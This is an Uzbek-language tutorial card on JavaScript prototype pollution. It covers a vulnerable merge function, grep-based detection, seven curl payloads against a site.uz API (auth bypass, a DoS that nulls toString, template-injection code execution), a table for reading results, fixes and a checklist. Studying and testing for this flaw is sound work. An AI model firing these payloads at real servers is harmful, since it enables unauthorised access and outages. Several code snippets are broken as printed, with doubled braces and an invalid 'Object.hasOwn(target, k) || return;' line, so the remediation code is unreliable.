🧬
Prototype Pollution
JS obyektining asosini buzish
1
Maqsad
JS obyektining asosini buzishJS da obyekt merosxo'rlanadi: obj.toString avval
obj da, keyin uning prototipida qidiriladi. Agar hujumchi
prototipga xossa qo'shsa — barcha obyektlar o'zgaradi.
2
Tushuntirish
// XAVFLI — chuqur birlashtirish function merge(target, source) {{ for (const k in source) target[k] = source[k]; // __proto__ ham }} merge(user, JSON.parse('{"__proto__":{"isAdmin":true}}')); console.log(({{}}).isAdmin); // true — HAMMA obyekt admin! // YECHIM if (k === '__proto__' || k === 'constructor' || k === 'prototype') return; Object.hasOwn(target, k) || return;
Nima bo'ladi
- Auth bypass —
isAdmin: trueglobal bo'ladi - DoS —
Object.prototypega xulosa qo'yish, kod to'xtaydi - RCE — node_modules'dagi zaif gadget (lodash, ejs shablonlari)
3
Qanday aniqlanadi
# 1) chuqur merge / extend funksiyalari grep -rnE "function (merge|extend|deepMerge|assign)|Object\.assign|_\.merge|\.extend\(" src/ | head # 2) xavfli kutubxonalar grep -nE '"lodash"|"jQuery"|"ejs"|"pug"|"handlebars"|"deep-extend"' package.json # 3) for-in (prototype'ni ko'rib chiqadi!) grep -rnE "for *\(.* in " src/ | head
4
Buyruqlar
# 1) oddiy sinov — barcha joylardan curl -s -X POST https://site.uz/api/profile -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"__proto__":{"polluted":"YES-1"}}' | jq -c . curl -s https://site.uz/ | grep -c "YES-1" && echo " ✗ POLLUTED" # 2) constructor.prototype orqali curl -s -X POST https://site.uz/api/settings -H "Content-Type: application/json" \ -d '{"constructor":{"prototype":{"isAdmin":true}}}' # 3) merge funksiyasiga to'g'ridan-to'g'ri curl -s -X POST https://site.uz/api/merge -H "Content-Type: application/json" \ -d '{"a":1,"__proto__":{"polluted":true}}' # 4) DoS — to'sqinlik qilish curl -s -m 10 -X POST https://site.uz/api/profile -H "Content-Type: application/json" \ -d '{"__proto__":{"toString":null}}' -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" // server javob bermay qolsa — DoS muvaffaqiyatli # 5) jQuery (3.0 dan oldin) curl -s -X POST https://site.uz/api/search -H "Content-Type: application/json" \ -d '{"q":"x","__proto__":{"length":0}}' # 6) template injeksiyasi orqali curl -s -X POST https://site.uz/api/preview -H "Content-Type: application/json" \ -d '{"tmpl":"{{constructor.constructor("return 1")()}}"}' # 7) saqlangan pollution — qayta ishga tushganda curl -s -X PUT https://site.uz/api/prefs -H "Content-Type: application/json" \ -d '{"__proto__":{"debug":true}}' curl -s https://site.uz/api/config | jq '.debug' // true → saqlangan
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`{"polluted":true}` boshqa so'rovda chiqdi | **Prototype pollution** |
`isAdmin` o'z-o'zidan true bo'ldi | **Auth bypass — kritik** |
Server javob bermay qoldi | **DoS** |
`template` orqali kod bajarildi | **RCE** |
`debug: true` sekinroq ishladi | **Konfiguratsiya buzildi** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
Keyingi so'rovda yo'q | **To'g'ri himoya** |
`__proto__` rad etildi (400) | **Xavfsiz** |
`constructor`/`prototype` ham rad etilgan | **To'g'ri** |
6
Zararni yopish
1. merge funksiyasini to'g'ri yozish
function safeMerge(target, source) {{
for (const k of Object.keys(source)) {{ // Object.keys — faqat o'z maydonlari
if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
if (typeof source[k] === 'object' && source[k] !== null) {{
target[k] = safeMerge({{}}, source[k]);
}} else {{
target[k] = source[k];
}}
}}
return target;
}}
2. JSON.parse dan foydalanish
const d = JSON.parse(body, (k, v) => k === '__proto__' ? undefined : v);
// lekin JSON.parse o'zi xavfsiz — merge bilan bog'lash
3. Xatolarni ushlab olish
app.use((err, req, res, next) => {{
if (err) res.status(500).json({{ success: false }}); // stack chiqarmaslik
}});
4. Kutubxonalar
- lodash < 4.17.21, jQuery < 3.4 — yangilash
--disable-proto=throw(Node 18+)Object.freeze(Object.prototype)— ilova boshlang'ichida (sinxron, ehtiyotkor)
7
Tekshirish ro'yxati
- `__proto__`, `constructor`, `prototype` rad etilgan
- `for...in` emas, `Object.keys` ishlatiladi
- Chuqur merge funksiyasidan foydalanilmaydi
- lodash/jQuery yangi versiyalarda
- Xatolar 500 beradi, stack bermaydi
- `{"__proto__":{...}}` bilan test qilindi